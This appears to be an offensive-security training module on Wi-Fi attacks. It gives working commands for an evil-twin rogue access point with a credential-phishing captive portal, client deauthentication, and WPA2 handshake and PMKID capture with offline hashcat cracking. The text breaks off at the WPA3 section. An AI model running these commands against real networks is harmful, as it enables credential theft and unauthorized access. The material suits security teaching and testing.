Wireless networks extend the perimeter beyond the cable. The perimeter used to be “physically at the office.” Now it’s “anywhere our Wi-Fi reaches.” Attackers with $40 of hardware can operate from the parking lot, the coffee shop next door, or a drone hovering above. This module covers why wireless attacks remain operationally relevant in 2026 — and what actually hardens the environment.
Why this happens
Wi-Fi’s design trade-off: discoverability for usability. Client devices constantly broadcast “looking for my home network,” “looking for my office network,” etc. Rogue access points imitate these networks. Client connects. Attacker is in the traffic path.
Additionally: WPA2-PSK (shared key) networks allow any attacker on the same network to intercept each other’s traffic after the 4-way handshake is captured. Enterprise networks (WPA2/3-Enterprise with 802.1X) are better but have their own misconfigurations.
Classic: Evil Twin + Captive Portal phishing
# Create rogue AP with same SSID as target network (or nearby legitimate network)
# Tool: Fluxion or airgeddon (menu-driven)
# Manual setup with hostapd + dnsmasq + iptables:
# 1. Start rogue AP
cat > /tmp/hostapd.conf << EOF
interface=wlan0
ssid=CorpGuest-WiFi
hw_mode=g
channel=6
ignore_broadcast_ssid=0
EOF
sudo hostapd /tmp/hostapd.conf &
# 2. DHCP + DNS for clients
sudo dnsmasq --interface=wlan0 --dhcp-range=10.0.0.10,10.0.0.100,12h \
--address=/#/10.0.0.1 # Wildcard DNS → captive portal
# 3. Captive portal that phishes corp credentials
# User connects, sees "Corp login required" page, enters AD creds
# De-authentication of clients from legitimate AP to push them to rogue:
sudo aireplay-ng -0 0 -a LEGIT_BSSID wlan0mon
A skilled operator can set this up in 15 minutes. Users enter credentials into the phishing portal because it looks legitimate. The legitimate network was deauthed; only the rogue is reachable.
WPA2 handshake capture
# Put wireless card in monitor mode
sudo airmon-ng start wlan0
# Capture packets for target network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Force deauthentication → trigger fresh handshake
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack PSK offline (if WPA2-PSK)
hashcat -m 22000 capture.hc22000 rockyou.txt
# Modern alternative: PMKID attack (no client deauth needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 rockyou.txt
If the PSK is a common word or weak passphrase, it cracks in minutes on a single GPU. Long, random passphrases (20+ chars) remain resistant but are rarely used for shared Wi-Fi.
WPA3 and its limitations
WPA3 introduced Simultaneous Authentication of Equals (SAE / Dragonfly) — resistant to offline dictionary attack. Clients don’t give attackers material to crack offline. Major security win.
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